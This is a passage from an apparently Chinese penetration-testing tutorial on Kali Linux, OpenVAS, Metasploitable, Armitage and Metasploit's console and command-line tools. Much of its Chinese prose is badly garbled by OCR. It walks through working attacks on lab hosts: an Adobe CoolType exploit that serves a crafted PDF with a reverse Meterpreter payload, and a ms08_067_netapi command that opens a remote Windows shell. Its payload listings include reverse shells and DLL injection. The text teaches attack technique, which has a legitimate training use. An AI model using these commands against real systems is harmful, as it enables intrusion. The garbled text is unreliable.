(3) {4 Linux Vulnerabilities H #5 5 4:.

(4) )& Linux Scan 36 (1% .

(5) 34

Tasks 1 -7 of 7 (total: 7) PLEE W

g, P 5.45 Fron.

oo auto -refresh

% | YApply overrides =
=

Linux

Filter: apply overrides=1 first=1 rows=10 sort=name

Apr I8 2014

<] 7]

L

ok

m

EREcn

(6) MizFriiw] LU 3 H s R geh A7k

% 5.45 Linux $45

b, EHERRSMAOTEEE S, WE 546 Fros.

WDPINEE TN ESE ik

frasd

=

H

SR LA B 14 SRR PR 6 R R % S Actions

i (Details) B4R A AR S, WE 5.47 Bios.
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taskpeais MHE EFFE®E EED

Name: Linux D 03 1006521 a4 Ibb-P0ea-edd3 1 e5d 1 c06
Croated: Mion Apr 2B O7:08:45 2014
Last Modified: Mon Apr 28 07:09:08 2014

Comment:
Scan Config:  Linux Vulnerabilities

Alerts:

Schedule: (Mext duse owver)
Target: Lirx

Slave:

Status: —————
Hrl_-purl:-_,: 1 (Fimished: 1)
Observers:

Addd to ASSeLs: yes

Motes: 0

Overrides: o

Scan Intensity
Maxirnum :ﬁn{un:n[ly exEtLted Ny Ts per hast: 4
Maxirmum mnrunrn[l:,r seanned hosts: 20

Reports for "Linux ® "Juppwu'-'lrrldl: +

.
epert e ——Em— Aetions

Mon Apr 28 07:08:4% 2014
Done

[ High | 7 5 120 o EVESE]

[ 5.46 Task Details

Security Issues reported for 192.168.41.142

emote Code Execution Vulnerability (OID: 1.3.6.1.4.1.25623.1.0.103553)

* 2

Summary:

distec 2.x, as used in XCode 1.5 and others, when not configured to restrict
access 1o the server port, allows remobe attackers 1o execute arblirary
commands via compllation jobs, which are executed by the server without
authorization checks

Solution:

Vendor updates are available, Please see the references for maore
informatian,

References

CVE: CVE-2004-2687

CERT: Warning: database mor available

Other: hitp//distoc.samba,org! security.html
httpi fwweb.med nistgov/viewvuln/detailvulnld=CVE-2004- 2687
hittpi/ fwwnerosvdb.org/ 13378
hitpiffarchives.neohapsis.comsarc hives/ bugtrag/2005-03/0183.html

High CWsS: 10.0) Imgreskock (1524/tcp)

MWT: Posuble Backdoor: Ingreslock (01D 1.3.6.1 .41 25623,1.0,103549)

E 547 dwilEHE
(8) S B fE BIRE, hTREEAER, 8T Ho A T A i .
MAZ T AT AR 3] 192.168.41.142 H b EHL L ArE B M &R . R BaH H v
BLBT I A (i 1 OID A R iS5 o I (30w A FE o i 283 ) A iadb AT 3K

5.2.6 FA##EE Windows R &R

AT AT GHEH OpenVAS 14115 Windows R 40l . X kWG B HE
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B2 A EmE R

H A5 9 25 A 45 52 1) Windows H AR R &8 X HAERE 1Y H A5 54000 Windows XP Fl Windows 7.
{FH OpenVAS 1445 2 Windows 5 ¢ il (19 H A4 1R D5 4 |k P
(1) frdt 4 25 Windows Vulnerabilities ') Scan Config.
(2) sInpras AR, s 5-7 B

F5-7 v AR

Brute force attacks

2k

Buffer overflow

Compliance 34 Compliance il
Databases 14 AR R )

Default Accounts FAREER DA P Tl
Denial of Service F10 410 4 Bl -

FTP 35 FTP i 55 4 6

Gain a shell remotely 1SRG R Shell fr) i
General 4 General il

Malware FE M SR AT R G0
NMAP NSE 14 NMAP NSE il

Port Scanners 14 5 1 3k

Privilege Escalation

AR TR B i

Product Detection

47 it (07 52 i

RPC

134 RPC il

Remote File Access

FAIE R ST )

SMTP Problems

34 SMTP i M i

SNMP

14 SNMP il

Service detection

FF R (1 B2 i

Web Servers 144 Web IR %3
Windows 14 Windows 5 45 il
Windows:Microsoft Bulletins 14t Windows T4t i 25 1 i i

(3) )&% 5 Windows Vulnerabilities HFr5R45.
(4) &4 4 Windows Scan 1411155 .
(5) *J%J%hﬁ,ﬁr ﬂn%tﬂ“%:l 548 E}-l.f]\&

| ™
|-.J'

Tasks 1-4of4(tota: ) @A ME B

= || Vho overrdes | 2

Filter: 'apply overrides=0 rows=10 first=1 sort=name

_____

1 Apr 26 2004

Ba=on
Oa=on

Apr 16 204

8
L

Local Vulnerabilities Mone

Windows 5can [ 1 Apr 26 2014 | adium |

5 5.48 Fifms

(6) Mzt ol L& ] Windows Scan i 52, il & o Medium.
[ 878N (Task Details) P bi A& V4G, & 5.49 k.

(7) MAZSEIA] BL T S A0 45 005 B Bt 4 8, i s et i 1a) o it
Ol & . AL A S VR (R, A R AT A 2E B I R R AR
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FREE TFF FER

Name: Windows Scan m cd33c903-5102-82 2554581495262 095
Created Sat Apr 26 DG:A1:27 2014
Lat Modifled: Sa Apr 26 DB:41:52 2014

Comment:
Scan Config:  ‘Windows vulnerabilities

Alerts:

Schedule: [Mext duwe: over)

Target Windaows vulnerabilities
Slave:

Stabus _.-.l.u.—
Reports: 1 {Finished: 1)
Dbservers:

Add 1o Assets: yes
Mates: ]
Cverrides ]

Scan Intensity
Baximum concur rrnl:l:.- executed NVTs per host: 4

Maxirmum concurrently scanned hosts: 20

Reports for "Windows Scan” L -uhhnmrrldn:.
Report Threat scanResus |
——nn_
t A 414 14
;:“pr 26 06:41:46 20 _ _ o BEE

[4 5.49 Task Details
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Fo6xE Iw A F |

TR H SR ARG AR M R . H PN EH PR RGP #3755 5 YGE i IH ,
RIS F FH i R OB, A s B Hbr REcp]. D T TR PR, KRl dd
Metasploit %47 [1') Metasploitable 2. F /0] LLEE HA 2 25 2] TG Linux #8245 #40. A T H
HI Metasploitable 45 EAF/EMYHEI, Fred & Fy2iETd, i MySQL Ed5 % . PostgreSQL
AR 1% 22 Tomeat it 455, LR AT
Metasploitable #{F R 4¢;

Metasploit FLAiHi;

73 il Meterpreter;

B B N

5% Payload “E 1l 1 F Veil .

ocoCcopo

6.1 Metasploitable 4£4F £ 4

Metasploitable /& —#25 | Ubuntu Linux [F#E1ERG. RG0S DMEIWLCME, M
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ % &5 K 4 % Hs 22 5 7 LA
AT, i3, AT Ubuntu, Byl Metasploitable {# ] o - 43 200 W T
Metasploitable #f J& HIAAE A HGE A REEL, BrRUEFEE R AT # T, JF HIFRCT 1
e i im L. AT 1120 % Metasploitable FEFUHLIFIAE H] .

i %% Metasploitable 2 [%) FL A 420 3800 F By .

(1) F#% Metasploitables 2, H. 3 {4 &) Metasploitable-Linux-2.0.0.zip.

(2) B8P ST il e B AS b Rk A

(3) 77 VMwareWorkstation, JFHCUUERE “ 2047 | “4TH” w4, Rl 6.l
Ffr s 1 i1«

o EEE () ¢ Metscplokablel-lina +

e e - 1 @
I ' Em
“ e i Mistusphestabie sl ich 28
ki Mbetanploitable mcick

- J Fletasploitable-DE] TRack sreeen ik

[T Ll o Mstanploitaileems

e WEiB 0

T

o On sl e

o I )

o shaw DLSLLE

FOHE e = EEEESIE
[ mfm | [

4 6.1  IEFFE Metasploitable 2 Ji &l



&6 5 il FIH]

(4) {EiZ% 5Lk FE Metasploitable.vmx, #RJ5 % “F177F7 &0, 4% B nid 6.2 s
DB

& Metasploitable -Linux - Viware Warkstation = = “
TEhF) SEliE) B SRV BEETD BBH)
I 6] @ | O e M
5 Gl 106 [ Kl 10,5 e » Bh Hertasphitable? Linus k

.| Metasploitable2-Linux
P AR

I wsmEra
L PR

- g

7 512 hB

wE:E ] 1

et T A ] B GB
JCOVDVD (IDE) EEEEE

Lol 515 MAT

Vo mmsies 2 @

Duse eml T

WMITH Bl
) m¢
This is Metasploable? [Lisus) . I

Wi BN
R 1 Metasplonable? - Linus\Metasploitablemo
W NETE: Workstaton &% Tx ERIE,

Metazplomsble = an stemtionally
vulnerable Linux virbual machine. This
Vi can be used to conduct seourity

B 6.2 &3] Metasploitable 54

(5) {EiZA Mgy “ TR IR $2Hl okt ,  H2) Metasploitable 52 4¢
6.2 Metasploit Fx7

Metasploit &= — 8 H A 22 i TR . el BB P 3 22 4 in) i35, 5k i
W 28 il 4 i, o) RS g AT e R Rl R EIE M S R, S Pk
$Efil Metasploit {2 M IAHESREMF (MSF) i), wfgsgiefedtintt2idEn, g, 4%
ORI RE I, T e BT IS M. Metasploit B0 & i 3emhThEe gt m £ AR PO,
LR i A AT FE B S 5. AT A2 Metasploit | #5Fhdz 11 4E H 5.

6.2.1 Metasploit H)EFEIE T A Armitage

Armitage ZH /& Metasploit HELE T —AN58 28 BB B4R P40, th Raphael
Mudge AT TT % . Armitage 1407 Metasploit $5#i] ¢, Ml H H b2 fett, WPl el
3| % -~ Metasploit #i] £ 8L % |~ Meterpreter 317 -

K] Armitage T H . BEARERELERW T .

(1) J3zh Metasploit i %5. 7644 Armitage T FLpij, 44206 Metasploit fz 4538, &
W, Hikisir Armitage T H. [K2} Armitage % '&fiﬂ&fﬂu Metasploit {55, A nLLH=). 1
Kali [k “ W HIFE" [Kali Linux| “ &4002% " [Metasploitjcommunity/pro start i
% Ja 5l Metasploit Hlz55, Fpfreh 4+ Broas s B

£ 149 -
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[ ok ] Starting PostgreSQL 9.1 database server: main.

Configuring Metasploit...

Creating metasploit database user 'msf3'...

Creating metasploit database 'msf3'...

insserv: warning: current start runlevel(s) (empty) of script ‘'metasploit' overrides LSB defaults (2 3
4 5).

insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script ‘metasploit' overrides LSB
defaults (0 1 6).

M A5 B b ml LA 2 PostgreSQL 9.1 s FE AR 55 CUhn 8l G alt T H Al EE R P Al
A P

(2) )18l Armitage T H. 7F Kali Sk Fe “ W HFEFE” [Kali Linux| “ J il # R T
HAE” | “PMginiAH 7 jarmitage dr%, W 6.3 fros. 8 £40mI=24T armitage 74
) Armitage 5, 41 F i

root@kali:~# armitage

EAEs aon T

Kal Linus

oL BT

®eaTH
.

LIRIWR

P 6.3 fiah armitage $E0f

(3) Jizharmitage T H5, #&Easinl¥ 6.4 B fitim.
(4) TEiZFHH S T iEHE Metasploit fiR &M FHEAE E . fEiZ 5810 a5 Connect ¢4,
P Son P 6.5 Byt S .

Connect...

Foit 117084 Start Metasploit?

Port 55583 . A Metasploil RPC server is not runming or
not accepling connections yet Wauld you

U ms .
like me Lo slarl Metasploil's RPC server
for you?

F'ass dhae you h

&= 2
| Conmect g . | EN i i i

1 6.4  iEH: Metasploit 5+ 6.5 [zl Metasploit
(5) T 1 E ST B) Metasploit 1) RPC lR55. Hdy “E(Y)” ##l, 5 Easn
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4 6.6 T2 19 FE i -
(6) 1SS T Metasploit [ -/MHERE. M plc i3 Metasploit R 551111,
K o 6.7 Bt i1 .

5.3 3
Conmecting ko 127.0.0.1:55553
jawa net ConnectException: FERVE IR
[
Ly
3
4 6.6 FEH: Metasploit 51 4 6.7 Armitage #4551l

(7) & FHREAAT =4y, EKHIEN ARl A BRI C. R liar sl 4k =45

O A: EHE R i PR B, H P o] DL B i) e bl B P hs s i g L LA e

O B: &8 SoniGek i Hes &g, H P aea a8 B Hed .

QO C: &4 iom £ - Metasploit #7255 . 1XFE, Bl LLZ1T £~ Meterpreter iy 2 45
IHIH T & i N T T

[ 6-11 S {0 fT] Armitage T B G2 ENIL. H s
‘IIJTL-}LEIE:’ Jﬁ ,'L, Ij;[',é ;ﬂ] I" d,lrr'J\ ) 0 Erler soan range (eg.. 102 168 1 0,/24):
(1) Jizh Armitage T H, Frimwnld 6.7 fras. Mgy | LU 1E8A4L 024

[ o] LA BB P BT A L. X I, 4R
B A 2 A AL L
(2)7F Armitage |1 (1952 FF2 P4l 105 48 Hosts|Nmap 68 AR

Scan|Quick Scan #ir%, FFWas W 6.8 Frasit) fitif.
(3) Rz M A Z IR M EEE, XA M EEaH L 192.168.41.024. R )5
il “whE T L BRI . FsER S, R A 6.9 Bras iy S .

mn | [

|
6 Scan Completel
Wi Atticich»Finsl Aticks 1o sugges
Y

apphable e plaits (o your LFges.

69 &%
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(4) MizFtimnlLCESR, Sl T~ a‘-u'hMJ' WEHE, IR “HE T HCELEI T .
HFHEHBRGENE NP, Bon T =6 FHl. X=6 BEHE0E A 2m 6. Ml
thwmhﬁuﬁﬁJUqﬂm@ﬁwmmmwwhmmhmJ ¥ ny LLBE T H b R .

(5) {EH AP A FF Attacks|Find Attacks iy 4>, I£1rguﬂi$rhdu¥MH%l6.H}Wfdiﬁﬁ
S-I

e

6 Attack Anatysis Complete...

Yo will menar S @n 'Attack' menu dttached
b e bt in e Tangets windme

Happy hunting

610 HE
(6) MazFtiunn] LLE B P s froc i, 5 HoAA 8 200 E 0 26 34— Attack
S, WP 6.1 B,

Armitage

Wiorkspaces Help

activeralal chet

ajenphorer_checkirsiall_gwer

apprar_uphoad_smes
aumilium_upload_sxe:

L'.'I'I:tl'l.l\.‘.'ti.' SwED_mimenoode

( l cubeflow_ wpload exec
Console % | nmag X

exiplarer_upload_ewec
O059s latency).

T

Farmily omes_less_exec
Freenas_eine_raw
gilarious_gragh

Mg

1ap. WNmap done: 256 TP addresses [7 Ko upl scanned in 4.08 seconds

6,11 Attack S

(7Y MAZFEIH Al EUR BI7E Hbs EHLASE b I T Attack 350, 7R 1% b A7 A
PETH ., {EPAIz4T Find Attacks a7 %Ay, M2 Services, Scan fll Host — - i£T0 . X B 14
B ML AR B, BORFROYIE A U MR fE REc Y. b o] BLTE e s h i
(5% FE Hosts|Nmap Scan|Quick Scan (OS detect) i3, FdR{E {2050, HiEks,
¥ Bor B E R B bR

(R) R E RS, G, i 6.12 B 5
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Armitage
Armilage Yiew Mosic Attacks Workspaces Help

& [ sniliary
ISP
& | paylead
= i pos

dows 2000 SPO - 5P4 or Windows XP 5P0 - 5F1

ncorrect results at

1 seconds

612 FHEMEE RS

(9) MaZFt el BLE BRI HAs E0L, BRaA 4 728 . BR st vl PATESE H #i,
HATIBEI L.

(100 LB, w7 RL7E A B S b D I SR BB T H hr R4, Wix£9208 B
BRI L fEIAC E R  ch f ck B exploit|windows|browserladobe cooltype sing FREL, A
if7 adobe cooltype sing b, 5 Bl 6.13 fros iy deii.

windows/browserfadobe_cooltype_sing
Adobe CoalType SING Table "unigueilame” Stack Buffes Orverflow

This module exploits a vulnerability in Lhe Smart INdependent Glyplets {5ING) table handling within versons
824 and D34 of Adobe Reader. Prior versions ane assumed to e yulnerable 38 well

Option & | Value |
DisablefayloadHand e false

ExitOnSession false

LHOET 192168 41 235

LPORT BE107

PRYLOAD + wiridows meter prites reverie_Lop
SEVHOST LoD

SRVPORT BLBED

551 o

S5LCert

SElVersion 553

URIPATH

Targets: | == Autornatic | =

L) Show advanced optiong

[ Launch |
P 6,13 FRbR L ik I

(11) iZ5 7 T adobe cooltype sing HUbl [FER U\ BC B AT B 128558 I (P ER LA
i, w BLE A A B AE 0. B e, #Adi Launch 145, 7 Armitage 7 F1F% o
wipE 6.14 Frzs i S .
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Armitage

Armitage View Hosts Abtacks Workspices Help

v [ backupese
» [ brighlstor
T U Do

adobe_[lash
adabe MNash_o

adabe Nash_rw

= set SEYHOST 0.

> st ExitOnSession Talse

*] Using WRL: hitp
*] Lecal IF: hitp:/ 1 1 TAEGYTG

sLarved,

el 6.14 Bl 4R

(12) MizSt el LLEF], fH] adobe cooltype sing Fibeigid drdiffidfe. MIgRIS
GEheELE R, wiENhAThE . BLERE S EHLUT M hip://192.168.41.235:8080/
JEAB2omaTAEGVTG B #4527 H s AL LGN -4 4 JEdB2oma7AEGVTG (1) PDF
V. BB H b EHLUT ), Armitage #5516 SG P o s v A AL, W 6.15
AR o

Armitage

Aremilage Wiew Hosis Aiacks Workspaces Help

= i backupee ;
= i brightstor e

¥ | Drosser

adoke_flas

adobe flasd_o
= 0 e : . O x T a3 18 s L

adobe_flash e 32.168.41, o2, g4 2 192.168.41.146

JTAEGVTG
1dé adobe_cooltype_sing - Request from browser: Mozilla/d. & (compatible; MSIE 6.0;

6 adobe_cooltype_sing - Sending crafted FDF
agdobe cooltype =i pquest from browser: Mozilla/4.0 [compatible; MSIE 6.0

146 adobe_cooltype_sing - Sending crafted FDF

|lr'{-| ﬁ.]s J.’L[l f 14 |_,'|

3) Moz Ftmonl LG ® Pl 192.168.41.146, U7 fn) T http://192.168.41.235:8080/
JEdB2oma7AEGVTG #i4%. 1 H, wfLLERIETHL 192.168.41.146 L GIEE I PDF W AF.
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6.2.2 F=% Metasploit 2%

MSF #4i5i (MSFCONSOLE )

A R IR . B MSF #4554

-, MSFCONSOLE %] T4 8 Metasploit %4 %,

f . A il gt oh TR A R,
L:lz[\j HRREREhEELG B RS . DT

244 ] Metasploit $ ] &5 8, B P 44 -

help:

& TR P ndk FR e b,

use module:
set optionname module:
iz & HER I 8 A A2 IE G B

rumn:

search module:

COC0CO0OO0OO U

exit: Zar A fOVF R ) MSFCONSOLE.

MSFCONSOLE il F1 F ) B (e {2 3Rk s .
AR s

.

(1) {E2% s MSFCONSOLE, i

root@kali:~# msfconsole

PATEL B2, S SR R

S HHT Metasploit HE 42 5 i 47 6 P20,
& Metasploit HE42 e J5 2 3%

Zim (MSFCONSOLE)

IDRERLER
hietm ¥ & M oC R L H 2
TS, N0 TS 3 Metasploit

MSFCONSOLE 3l /) P dz 3 3 pLr {5 &,
7145414 Metasploit £%
5 FH ) i

Ein e SRV P A E RIS T EE R .

i (MSFCONSOLE) .
‘lill P .U] f]\..

iz SO VF TP AR AN 6] () i 7

iz RVFHIL PR e A

+ +
| METASPLOIT by Rapid7 |
+ + +

I |
| == (of () [ m=====laes ]

| )=\ || EXPLOIT \ |

| A ] \ |

| /A | [==[msf >J==========2\ |

| I W | (|

: HH RECON :::t I @) @)@ @)l@)a@)a) I I
+ + +

| 00o | AN |

I o0 I ]::::::{ I

| o | S LOOT |

| [AAAAAAASAAARAR | | / L |

|l PAYLOAD ", / (| A |

I __I1 D) | |
l@)@)"+[(@)@)-+(@)| " I " I

-II- + | + |

Easy phishing: Set up email templates, landing pages and listeners

in Metasploit Pro's wizard -- type 'go_pro' to launch it now.

=[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]

—=[ 1256 exploits - 762 auxiliary - 212 post
—-=[ 324 payloads - 32 encoders - 8 nops

msf:-
b s B msf= {2 s, R

Wy
it 4 /\

IE AT HoAh A o]

5 MSFCONSOLE i shio Bhi s nf LAE i 447
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(2) {EEH] search iy 8% ATy 47 201 Linux 8. 5 FREA] P88 AT - ah
B, B - AMREF . B 5 A Metasploit & Bl A< 2 0], Bl 845 ol fefy s .
AT A A B

msf> search linux

PATLEL b2 )5, (S R

Matching Modules

Name Disclosure Date Rank Description

auxiliary/admin/http/jboss_seam_exec 2010-07-19 00:00:00 UTC normal JBoss Seam 2
Femote Command Execution

auxiliary/analyze/fjtr_linux normal John the Ripper
Linux Password Cracker

auxiliary/analyzeljtr_unshadow normal Unix Unshadow
Utility

auxiliary/dos/wifi/netgear_ma521_rates normal NetGear MAS21
Wireless Driver Long Rates Overflow

auxiliary/dos/wifi/netgear_wg311pci normal NetGear WG311v1
Wireless Driver Long SSID Overflow

auxiliary/scanner/http/atlassian_crowd_fileaccess normal Atlassian Crowd
XML Entity Expansion Remote File Access

auxiliary/scanner/http/hp_sitescope_geffileinternal_fileaccess normal HP SiteScope
SOAP Call getFilelnternal Remote File Access

auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration normal HP SiteScope
SOAP Call getSiteScopeConfiguration Configuration Access

auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess normal HP SiteScope
SOAP Call loadFileContent Remote File Access
...... BRAIT AE

post/multi/manage/play_youtube normal  Multi Manage YouTube Broadcast

post/multi/manage/record_mic normal  Multi Manage Record Microphone

post/multi/manage/sudo normal  Multiple Linux / Unix Post Sudo Upgrade Shell

post/multifmanage/system_session normal  Multi Manage System Remote TCP Shell
Session

post/pro/multi/agent normal  Metasploit Pro Persistent Agent

post/pro/multifagent_cleaner normal Metasploit Pro Persistent Agent Cleaner

post/pro/multi/gather/hashdump  normal  Pro: Multi Gather Hashdump

post/pro/multi/gather/sysinfo normal  Unix Gather System Info

post/pro/multi/macro normal  Metasploit Pro Post Exploitation Macro Launcher

post/windows/manage/pxexploit normal Windows Manage PXE Exploit Server
ot 5 B Metasploit o BTAT A R0 B Sl (005 8 5o O 4 3, o3 il e it
AR, o Jbmial, SR AgiiA . BL R A EE R, HEd TR R, X )
T bER N, AN ERERANYS LD U
(3) {#H] John Ripper linux S i fithe . AT a2 00 B s

msf > use auxiliary/analyze/jtr_linux
msf auxiliary(jtr_linux) =

i A B s CNE jtr linux HEHe,
(4) P B AT AuE . AT AW R Fros:
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msf auxiliary(jtr_linux) = show options
Module options (auxiliary/analyze/jtr_linux):

Name Current Setting Required Description

Crypt false no Try crypt() format hashes(Very Slow)

JOHN_BASE no The directory containing John the Ripper (src,
run, doc)

JOHN_PATH no The absolute path to the John the Ripper
executable

Munge false no Munge the Wordlist (Slower)

Wordlist no The path to an optional Wordlist

msf auxiliary(jtr_linux) =

M HES IR T LR # jtr_linux #EAT 5 AMEUMIEDS, W Crypt. JOHN_BASE,
JUHE_FATH~ Munge H! Wordlist. fEfgHFI{EEA, X S AN 025 5 A7 VE 4 ) A .

(5) BFEH P AMEIF )2, IREEITAIEAT jir_linux B, H P RS B AR 1)
LI, AFH] set fir4r. B JOHN PATH ZLI0, U | Aroas:

msf auxiliary(jtr_linux) = set JOHN_ PATH /usr/share/metasploit- framework/datal/john/

wordlists/password.|st
JOHN_PATH == /usr/share/metasploit-framework/data/john/wordlists/ password.Ist

(6) HifEiziTiBEyah, MATaS W F R,

msf auxiliary(jtr_linux) > exploit

6.2.3 =%l Metasploit #8170 (MSFCLI)

AN A 2 Metasploit d7-4 478210 (MSFCLD) . 4T 5EH Metasploit BT %
SRR N, MSFCLI WIS RAX A~ ThEE . O T 27 2 Metasploit 8IS A~ 1]
3% Wik, MSFCLI & —AMEAF .

MSF %171 MSF #8355 24 Metasploit HE22175 a) $E {1t T By Fpak o8 A Wl ik 48, MSF £
g Ll F P A AR R R A A T 2 T U R T A h e PR, i MSFCLI )

12 35 1B A Ak R R b Ay A7 T L TR MR . MSFCLI 3 HI i 4 R BT .

Q msfeli: &L 7 &% iENGE MSFCLI 141 2.

Q msfeli -h: A4 MSFCLI # By 3 #.

O msfcli [PATH TO EXPLOIT] [options = value]: Ji &% HedimiE ik,

MSF 447 MSFCLI {4 & F Ry

(1) iz MSF fﬁ:r{>~ﬂ (MSFCLD) . Jiah i f 75 E— sais fa), 3055 R, Xk

RS . AR, B MSFCLL 3%, o R donl#eds o i e . $iuAT
fﬁ]'{? kB

root@kali:~# msfcli
[*] Please wait while we load the module tree...

(2) 4 MSFCLI # 8 c#y. $ATan 2 F is.

root@kali:~# msfcli -h
Usage: /opt/metasploit/apps/pro/msf3/msfcli <exploit_name> <option=value> [mode]

Mode Description

(A)dvanced Show available advanced options for this module
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(AC)tions
(C)heck
(E)xecute
(H)elp

(1)DS Ewvasion
(O)ptions
(P)ayloads
(S)ummary
(T)argets

Examples:
msfeli multi/handler payload=windows/meterpreter/reverse_tep lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder=post= nop=E

Lk

i S B s T msfeli a4 T SR

Show available actions for this auxiliary module
Run the check routine of the selected module
Execute the selected module

You're looking at it baby!

Show available ids evasion options for this module
Show available options for this module

Show available payloads for this module

Show information about this module

Show available targets for this exploit module

I AT A XL Ry, AL T

AR 1 4 b B R A A8 26

(30 b 1 0F B A v A s i) 4 A SOk A

AT A S NPT

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas A
[*] Initializing modules...

Name

Current Setting:

Description

XU R A JET, R B e ik

-1 f;f

: GATEWAY

: The gateway IP address. This will be used rather than a random remote

address for the UDP pmbe if set.

Name
Current Setting
Description

network.

DL EAE R R T xmas Bief s ek,
FEAFR, 2

(4) A,
FIT 5 A3 R 30 11

wily

g 1,

Name

Current Setting
Description
Name

Current Setting
Description
Name

Current Setting
Description
Name

Current Setting
Description
Name

Current Setting
Description

- NETMASK
D24
: The local network mask. This is used to decide if an address is in the local

: ShowProgress

: true

: Display progress messages during a scan

: ShowProgressPercent

:10

: The interval in percent that progress should be shown

: UDP_SECRET

. 1297303091

: The 32-bit cookie for UDP probe requests.
: VERBOSE

: false

. Enable detailed status messages

: WORKSPACE

: Specify the workspace for this module

-FFI'JJ 1I||En_.| Itiji}f\li“ﬂfkllﬁ 3 |1|3Jj"j\"‘rfl 'J

T R A B

H e A ] S B0 22w e i) -
AR k.
3 A A IO S 2R .

AEG R B ER R AR
ArIEINAE RN . (BN TR P e | |+*’J‘-F-]’Q?}!LF{1(‘
Ja s B AGEESGE, BATR A ETR:

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas S
[*] Initializing modules...

Mame
Module
License
Rank

Provided by:
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kris katterjohn <katterjohn@gmail.com=
Basic options:

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to scan per set

INTERFACE no The name of the interface

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS yes The target address range or CIDR identifier

SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads

TIMEOUT 500 yes The reply read timeout in milliseconds
Description:

Enumerate openffiltered TCP services using a raw "XMas" scan; this sends probes containing
the FIN, PSH and URG flags.

u.|-_f;:-,u,;m xmas LU ORI . KOB R A G0 0T xmas BEBLEO A RR, (OB, VEITIE
UL AR A
) B LR ARSI, T O B, WA AR T
RO, HEANBIE T SR BT, b AR . BT R T AL
AU L 0 IR 1 50 0t 0
SRR, AR EE RSO T, B Y. R R4 F AR

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas O
[*] Initializing modules...

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to scan per set
INTERFACE no The name of the interface

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SMNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

S S B s 1 xmas BEEL T EAYELE LI, i BATCHSIZE. PORTS. RHOSTS.
SNAPLEN. THREADS F1 TIMEOUT.
(6) H P E Az TiE@E Uit . $4Tar S F Fros:

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas E

[l 6-2]1 A H] MSFCLI i iz Brili, IXH LI ms08 067 netapi Bl b5, H 445
(EEIZEE S TPTR
(1) 754 ms08 067 netapi SHLFTNCE Z 80k T0 . AT a4tk Ao

root@kali:~# msfcli windows/smb/ms08_067_netapi O
[*] Initializing modules...

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

WAt 45 B nT LG B i Ay — R B, 4r ) &2 RHOST. RPORT #
SMBPIPE.
(2) 4 ms08_067 netapi Biblerpn] P HGh#E T . AT 40 FiR:
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root@kali:~# msfcli windows/smb/ms08_067 netapi RHOST=192.168.41.169 P

[*] Initializing modules...
Compatible payloads

generic/custom
PAYLOADFILE or PAYLOADSTR.
generic/debug_trap
generic/shell_bind_tcp
shell
generic/shell_reverse_tcp
shell
genericftight_loop
windows/dllinject/bind_ipv6_tcp
a reflective loader
windows/dllinject/bind_nonx_tcp
reflective loader
windows/dllinject/bind_tcp
reflective loader
windows/dllinject/reverse_http
via a reflective loader
windows/dllinject/reverse_ipv6_http
a DLL via a reflective loader
windows/dllinject/reverse_ipv6_tcp
DLL via a reflective loader
windows/dllinject/reverse_nonx_tcp
DLL via a reflective loader
windows/dllinject/reverse_ord_tcp
reflective loader
windows/dllinject/reverse_tcp

reflective loader

windows/dllinject/reverse_tcp_allports

Description

Use custom string or file as payload. Set either

Generate a debug trap in the target process
Listen for a connection and spawn a command

Connect back to attacker and spawn a command

Generate a tight loop in the target process
Listen for a connection over IPv6, Inject a DLL via

Listen for a connection (No NX), Inject a DLL via a
Listen for a connection, Inject a DLL via a
Tunnel communication over HTTP, Inject a DLL

Tunnel communication over HTTP and IPv6, Inject

Connect back to the attacker over IPv6, Inject a
Connect back to the attacker (No NX), Inject a
Connect back to the attacker, Inject a DLL via a

Connect back to the attacker, Inject a DLL via a

Try to connect back to the attacker, on all possible

ports (1-65535, slowly), Inject a DLL via a reflective loader

windows/dllinject/reverse_tcp_dns
reflective loader
windows/dns_txt_query_exec

record(s) and executes the returned payload

windows/vncinject/reverse_tcp_allports

Connect back to the attacker, Inject a DLL via a

Performs a TXT query against a series of DNS

Try to connect back to the attacker, on all possible

ports (1-65535, slowly), Inject a VNC DIl via a reflective loader (staged)

windows/vncinject/reverse_tcp_dns
a reflective loader (staged)

Connect back to the attacker, Inject a VNC DIl via

i (0 S T ms08_067 netapi HLHe T F (G C e AR . 12BEB AT LR (AR AR

SRR A, e A S (

...... ) BN T .

(3) X HLEFE{EH shell bind/tep Bk #ifi it A iZamllit. W FHR.
root@kali:~# msfcli windows/smb/ms08_ 067 netapi RHOST=192.168.41.146 PAYLOAD=

windows/shell/bind_tcp E
[#] Initializing modules...
RHOST == 192.168.41.146

PAYLOAD => windows/shell/bind_tcp
[+] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 0/ 1 - lang:Chinese - Traditional
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[*] Selected Target: Windows XP SPO/SP1 Universal

[*] Attempting to trigger the vulnerability...

[*] Encoded stage with x86/shikata_ga_nai

[*] Sending encoded stage (267 bytes) to 192.168.41.146

[*] Command shell session 1 opened (192.168.41.156:60335 -> 192.168.41.146:4444) at
2014-06-06 10:12:06 +0800

Microsoft Windows XP [kiZ< 5.1.2600]

(C) MR4LERFE 1985-2001 Microsoft Corp.

CAWINDOWS\system32>

M 0 S b o] B B g M R g L5 F] T4 Windows s 41711 Shell,
XA BE I IR .

6.3 44| Meterpreter

Meterpreter & Metasploit fE 22 (1) — >3 T4, 3051 R i 3] s £ B8k 8¢ g i 40
R Tk 48 for 75 fiek A2 i 100 i GE 98 R (] 25 B P — il iE . 254 Armitage. MSFCLI 2§
